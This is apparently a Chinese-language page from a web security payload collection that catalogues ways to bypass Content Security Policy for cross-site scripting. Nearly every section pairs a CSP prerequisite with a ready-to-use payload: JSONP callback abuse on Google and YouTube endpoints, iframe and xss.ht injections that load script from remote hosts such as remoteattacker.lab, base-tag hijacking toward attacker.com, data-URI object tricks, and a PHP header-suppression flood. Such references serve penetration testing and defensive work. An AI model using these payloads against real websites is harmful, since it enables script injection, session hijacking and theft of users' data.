跳转至

CSP 绕过 (CSP Bypass)

内容安全策略 (CSP) 是一种安全特性,有助于防止 Web 应用程序中的跨站脚本 (XSS)、数据注入攻击和其他代码注入漏洞。它的工作原理是指定允许在网页上加载和执行哪些内容源(如脚本、样式、图像等)。

摘要 (Summary)

工具 (Tools)

  • gmsgadget.com - GMSGadget (Give Me a Script Gadget) 是 JavaScript 变件 (gadgets) 的集合,可用于绕过 XSS 防御措施,例如内容安全策略 (CSP) 和 HTML 净化器(如 DOMPurify)。
  • csp-evaluator.withgoogle.com - CSP Evaluator 允许开发人员和安全专家检查内容安全策略 (CSP) 是否可以作为抵御跨站脚本攻击的强力防御手段。

利用 JSONP 绕过 CSP

前提条件

  • CSP:script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

载荷

使用 CSP 中列出的白名单源中的回调函数。

  • Google Search: //google.com/complete/search?client=chrome&jsonp=alert(1);
  • Google Account: https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)
  • Google Translate: https://translate.googleapis.com/$discovery/rest?version=v3&callback=alert();
  • Youtube: https://www.youtube.com/oembed?callback=alert;
  • Intruders/jsonp_endpoint.txt
  • JSONBee/jsonp.txt
<script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>"

绕过 CSP default-src

前提条件

  • 类似于 Content-Security-Policy: default-src 'self' 'unsafe-inline'; 的 CSP。

载荷

http://example.lab/csp.php?xss=f=document.createElement%28"iframe"%29;f.id="pwn";f.src="/robots.txt";f.onload=%28%29=>%7Bx=document.createElement%28%27script%27%29;x.src=%27//remoteattacker.lab/csp.js%27;pwn.contentWindow.document.body.appendChild%28x%29%7D;document.body.appendChild%28f%29;

script=document.createElement('script');
script.src='//remoteattacker.lab/csp.js';
window.frames[0].document.head.appendChild(script);

来源:lab.wallarm.com

绕过 CSP inline eval

前提条件

  • 含有 inlineeval 的 CSP。

载荷

d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://[YOUR_XSSHUNTER_USERNAME].xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000)

来源:Rhynorater

绕过 CSP script-src self

前提条件

  • 类似于 script-src self 的 CSP。

载荷

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

来源:@akita_zen

绕过 CSP script-src data

前提条件

载荷

<script src="data:,alert(1)">/</script>

来源:@404death

绕过 CSP unsafe-inline

前提条件

  • CSP:script-src https://google.com 'unsafe-inline';

载荷

"/><script>alert(1);</script>

绕过 CSP nonce

前提条件

  • 类似于 script-src 'nonce-RANDOM_NONCE' 的 CSP。
  • 使用相对链接导入的 JS 文件:<script src='/PATH.js'></script>

载荷

  • 注入一个 base 标签。
<base href=http://www.attacker.com>
  • 在与网站脚本相同的路径下托管您自定义的 JS 文件。
http://www.attacker.com/PATH.js

绕过由 PHP 发送的 CSP 响应头

前提条件

  • 由 PHP header() 函数发送的 CSP。

载荷

在默认的 php:apache 镜像配置中,如果响应数据已经写入,PHP 则无法修改响应头。当 PHP 引擎抛出警告 (Warning) 时,就会发生这种情况。

以下是产生警告的几种方式:

  • 1000 个 $_GET 参数
  • 1000 个 $_POST 参数
  • 20 个 $_FILES 文件

如果配置为显示 Warning,您应该会看到以下内容:

  • Warning: PHP Request Startup: Input variables exceeded 1000. To increase the limit change max_input_vars in php.ini. in Unknown on line 0
  • Warning: Cannot modify header information - headers already sent in /var/www/html/index.php on line 2
GET /?xss=<script>alert(1)</script>&a&a&a&a&a&a&a&a...[重复 &a 1000 ]&a&a&a&a

来源:@pilvar222

靶场 (Labs)

参考资料 (References)